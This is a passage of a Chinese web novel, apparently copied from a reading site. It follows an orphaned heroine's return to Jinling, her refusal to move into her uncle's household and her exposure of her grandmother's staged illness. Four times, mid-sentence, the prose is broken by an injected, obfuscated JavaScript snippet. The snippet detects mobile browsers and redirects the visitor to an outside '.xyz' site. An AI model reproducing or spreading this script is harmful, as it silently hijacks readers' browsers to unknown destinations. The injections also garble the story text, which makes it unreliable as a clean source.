这封不长的信件,在开头和结尾啰啰嗦嗦写了一堆问候,但真正重要的、关于姜老太太病情的内容却只是一笔带过。这怎么看都不像是身为子女,在母亲病重时能写出来的东西。 但…… 许敬铭又叹了口气:“可他既然拿这个做借口,出于孝道,你无论如何都该往金陵去一趟的。” 说着,他抬起头来,看向姜同云。 自己把她从侯府强行抢出来的时候,她才不到十一岁。那时的她刚为老义阳侯守完一年孝,巨大的悲痛和简朴的生活让她变得苍白憔悴,侯府众人的漠不关心更是让她多次患病,愈发单薄瘦弱。 把小姑娘带回杭州后,自己和妻子费了好多心力才将她养得健壮起来。 七年时间转瞬即逝,当年瘦得就剩一把骨头的小女孩,如今也长成了亭亭玉立的大姑娘。 望着不太情愿的外孙女,许敬铭微笑道:“你也快满十八了。当年你祖父为你定下过婚约,这趟你去金陵,正好也能将这门婚事敲定。” 果然! 姜同云就知道外祖父要把话题拐到婚约上去! 她身上的婚约,是父母还在世时,祖父先义阳侯与颍川侯府定下的。穿越来的姜同云虽然不喜欢这种包办婚姻,但当时的她太过年幼,根本无人在意她的反对意见。等到她再大一点,父母和祖父先后故去,沉浸在悲痛中的她也无力分心关注这些。 她刚到杭州时,颍川侯府还曾寄过书信问候。不过在老颍川侯去世后,姜同云就再也没有收到过这种信件了。可见颍川侯府也不太满意这个婚约。 姜同云原本以为,双方会保持这种沉默的默契。兴许再拖上个一二年,对方就会提出解除婚约。 谁知道这会儿,金陵寄来的信上没说什么,外祖父倒是先旧事重提了! 姜同云在椅子上坐下,万般不愿地说道:“外祖父,我不想去金陵,更不想嫁人。” 许敬铭无奈地摇了摇头:“前阵子我写去金陵信托人打听过。颍川侯的那位二公子颇有才学,有望科考入仕,不必靠荫封做官。更重要的是,他性情平和,端方持重,是个值得托付的男儿。” 可姜同云不需要将自己托付给别人。她有外祖母留下的铺子,靠自己也能活得很好。 她正要开口辩驳,却见外祖父又长叹了一口气,轻声道: “云丫头,外祖父老了。” 姜同云滞住了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426640|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“外祖父也舍不得你。要是我再年轻个十岁,自然还要留你一些时日。可我怕自己哪天突然就不行了,就像严老头那样……”许敬铭顿了顿,“要是我也走了,这个世上还有谁能保护你?靠你那装聋作哑的祖母?还是靠你那功利短视的叔婶?” 这番话让姜同云红了眼眶。她想要反驳,话却哽在喉咙里说不出来。 她想起了今早遇到的那对父女。 许家虽有名望家财,但到底没有实权。她那叔父再不济,也担着义阳侯的爵位,更有一层亲缘长辈的身份。 外祖父的担忧并非没有道理。 许敬铭看着低头沉默不语的外孙女,轻轻道: “去吧。到金陵去。” ***** 金陵。 谢怀雵处理完家中杂事后,回到了书房里。 “主子,您先前写信回来要我查证的事情都已经办完了。各种事项我都写成了卷宗,就在这里。” 谢怀雵从下属手中接过卷宗,快速翻看起来。 书房里只余下一阵纸张翻动的哗哗声。 这份卷宗并不算厚,谢怀雵很快就翻完了。他点着最后一页问道:“里面的内容都核实过吗?” “核实过。我派了两拨人,一批去义阳侯府私下查问,另一批找了这些年从义阳侯府放出去的老人。两方印证,确认无误。” 谢怀雵冷笑一声:“那这个义阳侯还真是有良心。” 老义阳侯一去,他就以孝期不得铺张为由,将侄女身边的仆妇丫鬟裁撤大半,导致小姑娘因为缺少照料,在守孝期间生了好几回病。 许老爷子不忍外孙女受苦,想要将她接走抚养的时候,义阳侯百般阻挠,说自己身负叔父职责;可等姜姑娘到了杭州,他又对这个侄女不闻不问。姜姑娘在杭州住了七年,他连书信都没寄过几封,更是不曾想过要让姜姑娘回来。 “按照我大越礼制,义阳侯的爵位本该降爵承袭。之所以不被降为伯爵,还是因为陛下体恤姜姑娘的父母全都是为国而亡,特意加恩以令姜家多袭一代。”下属也甚觉唏嘘,“义阳侯本人未立寸功,能有今日全是承袭兄嫂余荫。可他们却对兄嫂唯一的女儿如此冷漠,真是叫人寒心。” 谢怀雵敲了敲桌案,眼睛往卷宗上一瞄,又想起来一件事:“姜姑娘的这位未婚夫,你们查过没?” “也查了。”虽然主子先前没说,但提前做准备总是没错的,“这位韩公子是现任颍川侯的次子,如今正在国子监内进学。据说此人颇有才学,将来有望通过科举入仕。听说他还要下场参加今年秋闱。” 谢怀雵倒不太在意他的学问:“性情如何?可堪良配?” “他的师长和同窗都评价他,为人稳重、性格平和,他在亲戚长辈之间也素有孝名。”下属边回忆边答道,“我还特意找人跟了他一些时间,目前为止没有发现什么不良嗜好,就是个喜欢写写诗文、吟风弄月的读书人。” 谢怀雵点了点头:“那你们再盯一段时间,顺便留意一下这两家的消息。如果姜姑娘和他敲定了婚期,记得提醒我,到时候我也好给姜姑娘备份厚礼添妆。” 5. 桃树 官柳动春条,秦淮生暮潮。* 客船在码头停靠时,正近黄昏。 暖黄的日光落在河面上,漾开层层碎金。沿岸两旁的酒楼商铺陆陆续续开始上灯,白日里就十分热闹的秦淮河仿佛被披上一层茜色薄纱,正式宣告进入夜晚的繁华。 姜同云和木樨互相搀扶着,踏着摇晃的临时木板桥,走上码头。 “可算到了!”脚一落地,木樨青白的小脸上就肉眼可见地多了一些血色。她长长地吐了一口气,对着自家姑娘撒娇道:“再这样坐下去,我就真受不了了!” 姜同云无奈地说道:“你明知道自己晕船,还非要跟我一起来金陵。我要是知道这事,肯定不会同意带你来这儿。” 木樨吐了吐舌头:“我只有一点点晕嘛。再说了,姑娘去哪都带着我,这次来金陵,怎么能把我一个人丢在杭州呢。” 说着,她提议道:“咱们回去的时候可不兴坐船了,还是坐马车吧!” 早就下岸在附近转了一圈的柳四娘正好回来,刚巧听见木樨这话,立时笑了起来:“只怕坐车你更受不住。” 木樨刚要反驳,姜同云也跟着笑了起来:“我还记得,上次坐车不过走了一段山路,某个人就扶着腰,‘哎哟哎哟’地叫唤了两天呢!” 木樨羞恼地跺了跺脚:“怎么连姑娘都一起笑话我!” 三人说话间,许家其余仆从也都下了船,走到了姜同云身边来。 这次陪同姜同云到金陵,最主要的管事人就是许家的管家陶叔。 陶叔家自祖辈起就在许家干活,他的父亲正是如今许宅的大管家。陶叔一家深得许老爷子信任,所以这趟外孙女出门,他就将一应事务全权委托给了陶叔。 除了陶叔之外,许家还派了两名干练的老嬷嬷、四个丫鬟、四个小厮、一名厨娘。加上木樨和柳四娘,姜同云这次出行足足带了十四个人,还另外雇佣了一支护卫队伍。 要不是姜同云极力劝阻,恐怕担心外孙女的许老爷子还要再塞些人进来。 这么多人一起下船,自然引起了周围人的注意。 很快就有一名管事打扮的中年男人走上前来,对着领头的陶叔做了个揖:“小人是义阳侯府的管事。敢问可是诸位送的可是我们府上大姑娘?” 姜同云将来人打量一番。 男人留着八字胡,穿着靛蓝色的衣袍,头上戴了顶同色帽子,腰间系着一枚写有“义阳侯府”字样的腰牌。 再往稍远处看,临近码头的地方停着一架装饰简单的双轮马车,车厢上铭有“姜”字纹样。车旁除了车夫,便就只有两名小厮。 木樨也扫到了那头的马车,略有不满地嘀咕道:“这义阳侯府就派你们这几个男人来接姑娘?怎么着也该派两个嬷嬷来吧!” 八字胡管事听到了木樨的话,脸色顿时变得有些难看。 他咬了咬牙,装作没听到的样子,对着陶叔继续道:“这位想必是许家的管事吧。一路辛苦了。今日天色已晚,不方便再赶路了,我着人安排好客栈,诸位休息一夜再走,如何?” 陶叔似笑非笑:“侯府怕是误会了。我们不是送姑娘来的,我们是老爷子派来照料姑娘的。” 他刻意强调了“照料”二字,加重音量的话砸进八字胡管事耳里,叫后者心中一紧。 八字胡管事强笑道:“是小人考虑不周,只准备了一辆马车。可如今天色已晚,还是先让大姑娘回府要紧。” 陶叔扯了扯嘴角:“不劳侯府费心。” 说着,陶叔就朝不远处招了招手。 一个早就等在那里的年轻男人立刻小跑过来。 他乐呵呵地朝着姜同云做了个揖,随后才看向陶叔:“姑娘。父亲,我已经赁好了宅子,还雇人收拾过了。知道咱们人多,我特意租了五辆马车,就在那头停着呢。” 此人正是陶叔的儿子,名唤陶振。几天前,他带着许老爷子的手信先行出发。到了金陵后,他带着书信拜访了老爷子在金陵为官的几位学生,在他们帮助下租下一处院落,之后便开始着手安排姜同云入京后的诸项事宜。 按老爷子的说法,金陵是一定要去的,但是去了以后的事情,可能不由义阳侯府说了算。 八字胡管事听到这里,脸色已然沉了下来。 他看着姜同云道:“老夫人还在府里盼着大姑娘呢!难道大姑娘有家不回,非要住到外面去?” 姜同云按下想要发火的木樨,微笑着说道:“我此次到金陵来,还受了外祖父嘱托,要替他去拜访几位故友。若是住在侯府,只怕出入时有所打扰。至于祖母,今日天色已晚,她老人家恐怕也该安歇了。我明日再去探望吧。” 说着,她也朝侯府那架坐不了几个人的马车扫了一眼,笑吟吟地补了一句:“既然侯府腾不出车来,明日我便自己登门拜访。劳烦你转告叔婶,请他们不必这般客气。” 说完,姜同云就不再看他,跟着陶振往许家租的马车去了。 感觉出了一口恶气的木樨朝着八字胡管事“哼”了一声,这才兴高采烈地跟上姜同云。 其余人拿上各自负责的行李,跟上自家姑娘,说说笑笑地开始讨论起新的住处。 只留下被当成空气无视的八字胡管事,顶着一张憋得青黑的脸,气急败坏地回府复命。 义阳侯府内。 年过四十的现任义阳侯姜弘凯重重地将手里杯盏拍在桌案上:“所以你就这么让她走了?!” 八字胡管事心中叫苦不迭,面上赔着笑道:“侯爷,他们毕竟人多势众。再说了,大姑娘真要在码头闹起来,丢的也是咱们义阳侯府的脸啊。” 姜弘凯恼怒地瞪了一眼八字胡,又怒气冲冲地对着一旁的妻子道:“当年我就不同意让许家老头把她带走,是你非说闹起来不好看。这下可好,这人一走就叫不回来了!” 姜弘凯的妻子李氏是个高瘦妇人。她年轻时是个瘦削苗条的美人,如今上了年纪,脸颊两侧颧骨凸出,倒显得有些刻薄。 李氏性子泼辣,听姜弘凯说出这般责怪之语,当即柳眉一竖:“许家老爷子是不做官,可人家在朝里不是没有人脉关系。这要是去皇上面前参你一本,到时候有你受的!” 听到这话,姜弘凯的气势瞬间弱了一半。但他还是强撑着顶了一句:“当初要不是你没照顾好那丫头,许老头也不至于非要把人带走。” 李氏冷笑一声:“当初要不是你一意孤行,非要把她院里的人裁换掉,她也不至于被养成那副病殃殃的模样!” 姜弘凯反驳道:“什么叫我一意孤行,你当时不也没怎么反对?她一个小丫头,住了那么大、那么好的院子,还有三四十号人专门伺候她,我撤掉一些怎么了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426641|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李氏“啪”地一声盖上杯盖:“我懒得跟你争这些。当务之急,还是得想办法把人弄回来。要不然,那门婚约……” 姜弘凯摆了摆手:“既然她说明天要来看母亲,那就让母亲想法子哄住她。你也跟着使点劲。她一个小丫头,你们多说两句软乎话留她,她自然不好意思拒绝。” ***** 姜同云乘坐的马车在升平坊内一处宅院门口停下。 天色已晚,周围几处人家都已经点了上了灯。坊内居民都赶着回家用饭,这会儿街道上不见什么人影。 陶振是个细致妥帖的人,来的这两日已经将事情都安排妥当。车刚一停,院门就被打开,立刻就有两名小厮出来帮忙牵马移物。 陶振引着姜同云朝里走去,一边还向她汇报这几日自己的工作情况。 “这升平坊虽不算顶好的地段,但距离东市也不很远,而且治安不错。这处宅子租金是贵了些,但家具器物一应都是齐全的。”陶振掀开花厅珠帘,向姜同云展示内部摆设,“宅子不算很大,拢共只有三进,跟家里是没法比的。不过有个小园子收拾得不错,挺有几分景色。” 姜同云笑着点头表示满意:“我们也就这些人,用不着住多大的宅子。” 陶叔问了一句:“姑娘住的屋子可收拾好了?” “收拾出来了。我这两日雇了人,将各处房间都打扫了一边。正院主屋采光好,我还特意要人熏过香,今晚铺个床,再稍微归整一下,姑娘就能住了。” 说话间,几人已经走到了正院。 正院四角都栽了桃树。金陵桃花未谢,此时微风拂过,落英携着花香扑簌簌地落了一阵。 姜同云想起了自己曾经在义阳侯府住过十年的那座院子。 院子里也载着这样的桃树,还是她父亲幼时就种下的。 作为先义阳侯的长子,姜同云的父亲姜弘捷从出生起就被寄予厚望,略大一点的时候就分了一个院子单独居住。 因为是侯府的大少爷,姜弘捷分到的院子自然是侯府里除了正院以外最好的住处,位置、大小和景致都很是出挑。姜弘捷就在那处院子里长大成人,成亲后也依旧住在那里。 姜同云就是在那座院子里出生的。 她还清楚地记得自己小时候被母亲抱着在桃花树下坐秋千。春日阳光太好,母女俩靠在秋千上睡了过去,等再醒过来,身上就盖着一层厚厚的花瓣被子。 到了夏天,桃树结了果,父亲举着她去摘桃子。可惜还没摘两个,她就被桃子毛扎直叫唤,然后父女俩被循声赶来的母亲训了一顿。之后她和父亲蔫头蔫脑地站在桃树底下反省,还是祖父赶来把她偷偷抱走。 再后来…… 边境起了兵戈,祖父奉命领兵,父亲披挂上阵,母亲同赴战场。 临走前,他们告诉姜同云,等到桃树结了新的果子,他们就会回来了。 可等到战事平息的那天,回来的只有形容枯槁的祖父,还有两副棺木。 再然后,祖父也因伤病去世。 院子里的下人被裁撤得七七八八,失去照料的桃树没能在次年开出新花。 她被外祖父接走的时候,那些桃树已经全数枯萎了。 姜同云看着现在院子里那些正在盛放的桃花,轻轻叹了口气:“主屋就空着吧,我住东厢。” 6. 侯府 次日早晨,用过早饭后,姜同云先带着人去了金陵城郊。 七年未归,姜同云要先去祖父和父母坟前祭扫。 他们三人都被葬在京郊一处山上。 姜家是从姜同云祖父开始发迹。祖父在太宗朝晚期的边境之战里崭露头角,以夺城掠地之功,从一名小小的边境军士一路向上晋升,最终受封义阳侯之位。 虽然得授爵位,但姜家到底不是开国功勋,也并非名门望姓,加上发家较晚,所以他们家在金陵根基并不算深,不像更上层的权贵那般,能在金陵近郊拥有一块族墓。 因为是公用墓地,加上临近清明,上山祭拜的人数实在不少。 为了不耽误时辰,姜同云便只带着木樨、柳四娘和陶叔三人一起上山,其余随行诸人连同马车一起,留在山下等待。 好在此处来的人多,山路是修过的,并不算难走。几人只略费了一些时间,就寻到了目的地。 姜同云的父母合葬一穴,祖父则在近旁略高一些的位置。 两处坟茔都被维护得不错,周遭杂草像是刚被清理过。 更让姜同云惊讶的是,两处墓碑前竟然都摆着时令鲜果作为贡品。贡品上虽然沾着露水,但大体上是新鲜的,看样子是这两日才摆上的。 陶叔也很是讶异:“这不会是义阳侯派人来摆的吧?” 姜同云笑了笑:“他有心时常来祭拜,也是一件好事。”说着,她放下手里的提篮,俯身开始擦拭墓碑。 石碑是干净的,只有香炉下落了一些灰,约莫是前几日燃尽的香灰。姜同云简单清理一遍后,将自己带来的贡品一一摆上。 陶叔拿着铜盆,在一旁烧起纸钱来。 受过现代教育的姜同云自然不太认可烧纸钱的祭拜方式。不过入乡随俗,她也不会拦着别人用这种方式寄托哀思。 为两处坟茔各自上过香后,姜同云从木樨手里接过今早折下的桃枝,将花枝分成两份放入素白瓷瓶,分别供奉至祖父和父母坟前。 “今年的桃花开得也很好,我想你们是会喜欢的,所以折了一些来。” 微风拂过,桃枝微颤,似有人温柔抚触。 祭扫结束已临近中午,姜同云也不急着去义阳侯府,先回暂居的宅子吃了午饭,又歇了一会,才收拾收拾不紧不慢地出了门。 那头,义阳侯府内。 李夫人起了个大早,将一应事项都安排了一遍,甚至还提前备了丰盛的午饭。谁料过了大半日也不见姜同云来。 她心里焦急,已经打发人去门口问了十来趟。 “昨天怎么也不问清楚她住在哪,这下倒好,要找人都找不到!”李夫人烦躁地将手中看了一半的账本丢下,对着站在门口的八字胡管事道,“你去门口给我站着!要是今天大姑娘不来,你也就别回来了!” 八字胡管事擦着额角冷汗唯唯应是,心里怄得都快喷火了。 李夫人还想再骂两句,却见院里的小厮慌慌张张地从院门口跑过来,于是当即就把火撒到了他的身上:“冒冒失失的,成何体统!” 小厮连忙道:“夫人,门房来报,说大姑娘的马车已经到门口了!他们已经派了人,把大姑娘引去东角门内下车。” 李夫人腾地站起身来:“可算来了!郭妈妈,你快带人去院门口接。” 昨天他们嫌侯府礼数不周不肯来,今天说什么也不能再让人挑出错了! 李夫人这边慌慌张张,姜同云那儿倒是悠闲自在。 陪她来侯府的还是木樨三人。木樨和柳四娘陪她坐车,陶叔骑马,另有一个陶振雇来的车夫负责赶车。 门房引着他们进入东角门后,车夫就被留在了下车的地方。早就等在门口的老嬷嬷请姜同云坐上提前备好的软轿,带着几人往正院里去。 如今住在正院的,除了侯府的老夫人,自然就是义阳侯夫妻二人。 陶叔作为外男,不方便去后院。进了前院后,他便以转交书信为由,被引着去书房见义阳侯。余下姜同云三人继续往里走。 姜同云掀开轿帘,向外看去。 走在轿旁的老嬷嬷立刻殷勤地问道:“大姑娘有什么吩咐吗?” 姜同云笑了笑:“我瞧这院子和以往不太一样了。那些花都是新种上的?” 祖父在时,正院里种的多是些寓意好的树木,诸如松、柏、榉、朴,又或是桂、梅这类花树。 如今这院子里倒是一棵树都见不到了。 老嬷嬷不知道姜同云在想什么,笑着答道:“是去年种的。最近两年金陵时兴种新品的牡丹,侯爷就吩咐人把院子里的花草换了一遍。” 姜同云放下帘子,没有再问。 轿子很快就进了后院。 一早就等在门口的郭妈妈立刻走上前来,伸手要扶姜同云下轿。 姜同云还记得这位郭妈妈。她和她的丈夫都是李夫人的陪嫁,是李夫人的左膀右臂,心腹之人。 能想到让郭妈妈到院门口来迎自己,看来这位婶婶是真心要弥补昨日之失。 可是以李夫人的性情,这般大献殷勤,所图究竟为何? 姜同云面上不动声色,心里已然转过好些念头,也隐约有了一些猜测。 郭妈妈牵着姜同云下了软轿,仔细一打量这位阔别七年的大小姐,不由眼前一亮。 姜同云的父母都生了一副好样貌。作为他俩的女儿,姜同云自然也是个挑不出错的美人。 七年前,她还是个小姑娘的时候就已经是个非常标志的美人胚子;如今长大成人,已然出落得明眸皓齿、眉目如画。 加上她体态修长,行止坐卧间落落大方,眉目流转时顾盼神飞,更添一抹与众不同的神韵。 郭妈妈一早就准备好的夸赞之语到了嘴边,也多了几分真情实感:“大姑娘如今真可称得上是天姿国色啊。” 姜同云笑着收回手:“郭妈妈过奖了。婶婶今日可在家?” “在的在的,夫人一直盼着您来呢。”郭妈妈连忙引着姜同云朝主屋方向走。 绕过影壁,穿过中庭。守在正房门前的丫鬟们打起帘子,请大姑娘入内。 姜同云刚一进屋,就见坐在上首圈椅上的中年妇人站了起来,满脸堆笑地朝她走来:“同云,你可算回来了!” 是李夫人。 她和姜同云记忆里的模样相去不远,只是脸颊更瘦削了一些。 姜同云福身想要行礼,却被李夫人一把子拦住:“在自己家不用讲这么多规矩!快来这边坐,让婶婶好好看看你。” 姜同云不动声色地挣开李夫人,微笑着在她指的位置坐了下来:“还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426642|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未拜见过叔父。不知叔父和婶婶近来可好?弟弟妹妹们都如何?” 李夫人笑容满面:“都好都好。你弟弟今日进学,不在家中。但你向瑶妹妹可是从早上起就一直念着你呢,另外三个小的也都盼着你来。” 姜同云略一回忆,就一一对上了人。 义阳侯姜弘凯共有二男三女五个孩子,前头两个大些的是李夫人所出,分别唤作姜向瑜、姜向瑶,是一对龙凤胎,只比姜同云小了不到一岁。另外三个都是妾室所出,李夫人倒也不曾苛待,只是不太热络。 姜同云笑着同李夫人客套了几句,顺着夸了夸她的一对儿女,哄得李夫人眉开眼笑。 见寒暄得差不多了,姜同云便提起今日来的正事:“还未见过祖母呢。听说她老人家病了,严不严重?如今可有好转?” 李夫人被这么一提,也想起来自己要做的事情,连忙道:“你祖母病得不重。前两日大夫来开了方子,喝了几回,倒也好多了。就是白日里精神不济,偶尔多思多虑,时常念着你们这几个孙辈。向瑜向瑶他们一直陪在老人家身边,老太太心里就特别挂念你。” 姜同云倒没把李夫人这番客套话当成真的。她只笑着道:“不知道祖母现在方不方便见人。如果方便的话,劳烦婶婶带我过去看看吧。” 于是二人站起身来,在丫鬟仆妇陪同下往正院后堂走去。 老夫人居住的后堂和李夫人的院子只隔着一条花砖铺就的东西向小路。靠两侧院墙的地方种了一溜花树灌木,倒也装点出了一个小花园的样子。 穿过小路,就到了老夫人的院子里。 李夫人对着坐下门口台阶下的仆妇道:“快去告诉老太太,就说大姑娘回来看她了。” 仆妇连忙起身入内告知。 等姜同云陪着李夫人慢悠悠地走到正房门口时,负责照顾老太太的小丫鬟已经打起了帘子:“夫人请。” 她抬头快速看了姜同云一眼,犹豫片刻后才继续开口:“大……大姑娘请。” 李夫人恨铁不成钢地瞪了小丫鬟一眼,吓得她连忙缩起脖子。 姜同云装作没看见她俩的这番眉眼官司,笑眯眯地跟着李夫人进了屋子。 屋子里的窗户都关着。此时已是下午,太阳西渐,房间里略显昏暗。 因为久不通风,屋子里还弥漫着一股浓重的檀香味。 老夫人身边的大丫鬟正端着一碗药汁,见李夫人和姜同云金来,连忙放下药碗去扶躺在床上的老人:“老夫人,夫人和大姑娘来看您了。” 半阖双目的老人睁开眼,朝着门口二人伸出手来:“是同云回来了?” 姜同云微笑着上前,握住老夫人的手:“祖母,是我。我来看您了。” 老夫人立刻抓着姜同云的手哭了起来:“你可算回来了!” 看着面前絮絮叨叨说自己有多么想念大孙女,却光打雷不下雨的老太太,姜同云啼笑皆非地拍了拍她的手:“您别难过了。” 您别演了。演成这样我怕自己配合不下去啊。 老太太倒没听出姜同云的语气有什么不对。她觉得自己演得相当精妙,听到姜同云安慰自己,还以为对方也被打动了,于是“哭”得更加卖力,还把姜同云早逝的父亲都抬了出来。 姜同云脸上的笑容冷了一瞬。 7. 尽孝 在姜同云的记忆里,老太太曾经也是个非常慈爱的祖母。 但是她对姜同云的所有疼爱都停止在祖父死去的那一晚。 祖父咽气后,老太太抱着守在病床前的姜同云,泣不成声地诉说自己先后失去长子和丈夫的痛苦。年幼的姜同云克制着自己心中的思念与伤痛,安慰了几乎哭昏过去的祖母一整夜。 可等到第二天,叔父袭爵的旨意下达后,祖母就收起了悲伤。 再然后,她就搬到了后堂居住,不再过问有关姜同云的任何事情。 姜弘凯裁撤掉兄嫂旧仆的时候,她一言不发;姜同云数次患病卧床的时候,她也不曾探望问候。 甚至就连姜同云主动去后堂向她请安问候,她都不愿留人多待一会。 如果遭受这种对待的是一个真正的孩子,恐怕会被这样的差异对待扯进痛苦绝望、自我厌弃的深渊中去。 好在面对这些的,是有着成年人灵魂的姜同云。 平心而论,姜同云并不怨恨祖母的所作所为。 她只是一个性格软弱、没有能力的普通人。从前她要依靠丈夫、依靠长子,所以对他们喜爱的姜同云疼爱非常;如今她要跟着小儿子和小儿媳生活,自然就不能为姜同云出头反抗。 但理智上的理解,不代表姜同云可以接受祖母利用自己对父亲的情感。 眼见祖母喋喋不休,甚至还摆出了一副追忆往昔的架势,姜同云不容拒绝地抽回了和祖母交握的手。 手中一空,老太太的话自然停了下来。 她睁着一双已经有些昏花的眼,仔仔细细地打量起面前这个多年未见的孙女,这才发现对方的表情已经变得相当冷淡。 意识到自己可能演过了,老太太无措地看了儿媳一眼,在收到李夫人的眼神示意后,连忙伸手要去抓回姜同云:“同云,你是不是嫌祖母……” 姜同云却抢先一步,抬手将大丫鬟放在床头矮几上的药碗端了起来,递到老太太面前:“瞧我,刚刚见着祖母太过高兴,一时之间竟然忘了祖母还未服药。” 眼见那碗药被端到自己面前,老太太有些慌张了。 她有没有生病,她自己难道不清楚吗?这药只是端过来做做戏骗骗姜同云的,她又没生病,怎么能乱喝药呢! 姜同云笑着舀起一勺药汁来:“我许久未见祖母,今日正好服侍您用药,也算是尽一回孝。” 说着,她将白瓷勺子递到老太太嘴边:”您快喝吧。再不喝,这药可就凉了。” 老太太将求助的目光投向站在一旁的儿媳。 李夫人抬了抬下巴,示意老太太赶紧喝药。 那不过是碗凉茶。顶多就是苦了点,又不会喝出什么毛病来。他们好不容易演到现在,可不能因为一碗药功亏一篑! 老太太没法,只能挎着脸,一勺一勺地喝完了一整碗苦得令人作呕的药汁。 见老太太喝得脸色发青,姜同云克制住笑意,装出关切的模样扶着对方躺下:“既然祖母还未痊愈,应该好好休养。这会儿喝了药,我就不打扰您休息了。” 听到姜同云说出这句明显带有去意的话,李夫人也开始着急了: “同云,你这才回来……” 姜同云弯了弯唇角,淡淡地说道:“祖母要休息了。婶婶,我们还是出去外面说话吧。” 意识到姜同云大约是恼了老太太拿她父亲说事,李夫人压下心中的烦躁,强行堆出笑来,点头道:“好,咱们去外头说。” 屋子外头的光照比屋里好上不少。 姜同云走到阳光下,觉得心中郁气都淡了许多。 见姜同云面色有所和缓,李夫人陪着笑,小心地说道:“同云,昨日是你叔父没安排妥当。婶婶都给你把院子收拾好了,你就回家来住吧。” 姜同云挑了挑眉:“婶婶还特意收拾了我父母的院子?” 李夫人心里一沉。 那处好院子当然是要给侯府继承人住的,怎么可能还给姜同云留着? 姜同云被接去杭州时带走了存放在院子里的父母遗物,李夫人便顺理成章地把空置的院子重新收拾装饰,让自己儿子姜向瑜搬了进去。 如今向瑜已经在那里住了六年左右,断没有因为姜同云回来就得让自己儿子让位的道理! 李夫人心里是这么想的,但话却不能这么说。 她转了转眼珠子,立刻找到了借口:“那边冷僻,离正院也远。婶婶给你在正院边上收拾了一处地方,好时常照看你。那里还跟你几个妹妹住得近,也方便你们姐妹几个走动来往。” 听到李夫人这番话,姜同云心中冷笑一声:果不其然。 她离开侯府时就已经知道自己保不住父母的旧居了,否则当初她也不会执意要带走遗物。 已经有过心理准备的姜同云自然没有流露出不满。 她保持着面上的客气:“婶婶有心了。不过靠近正院的住处,想来出入不大方便。” 李夫人闻言,刚想说些什么描补一二,姜同云却根本不给她机会,继续说道: “我托府上管事转告过的,此次到金陵来,外祖父还要我替他拜访旧友。拜贴都已经送出去了,明日我便要依约登门。若是搬到府里来,住在妹妹们边上,只怕我日间出入会打扰到她们。所以还是算了吧。” 说着,姜同云微微福身:“多谢婶婶好意。” 跟在姜同云身旁木樨也赶紧跟上一句:“姑娘明日要去御史中丞卫大人府上拜访,但要带去礼物还没选定呢。姑娘不是说今天回去再挑一挑的吗?” 这位卫大人是许敬铭在金陵的故交之一,也是老爷子众多旧友当中,目前官位最高的一个。 他和老爷子多年来一直保持书信往来,两人交情匪浅。 此次姜同云来金陵前,老爷子就先写了书信让陶振送去卫府,嘱托老友替自己照看外孙女。所以姜同云到达金陵后,也把卫府定为了上门拜访的第一家。 听到卫大人的名号,李夫人原本想说的话都被结结实实地堵在了嘴里。 别看御史中丞只是从四品的官,如今御史大夫之位空置,这位卫大人就是御史台实际上的一把手。 义阳侯府虽有爵位,但姜弘凯本人在朝中并无官职。姜家根基尚浅,也没什么说得上话的姻亲故旧。 姜同云要是去这位卫老大人面前告状,只怕姜弘凯过往做的那些个好事都会被一起抖落出来! 见李夫人不再开口,姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426643|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同云朝木樨递了个赞许的眼神。 “瞧我,差点忘了正事。”她笑着对李夫人行了个礼,“今日叨扰婶婶了。同云先行告辞,改日得空了再来看望祖母和妹妹们。” 眼见姜同云要走,李夫人本能地上前半步,还想试着最后挽留一次。 一直默不作声的柳四娘侧身一拦:“夫人太客气了。我们姑娘是小辈,您不必亲自送的。” 看着快比自己高出一个头的柳四娘,李夫人只能缩回想要拉扯的手。 她咬着牙忍了好一会,才勉强压下心中怒火,挤出一个难看的笑容道:“那我派个人送送你。” 至少要知道这丫头到底住在哪吧! 姜同云不欲与她撕破脸皮,就没有拒绝这个要求: “劳烦婶婶费心了。” ***** 也许是卫大人的名头起了作用,义阳侯夫妇虽然知道了姜同云的住处,但接下来的几日里一直没有派人来过。 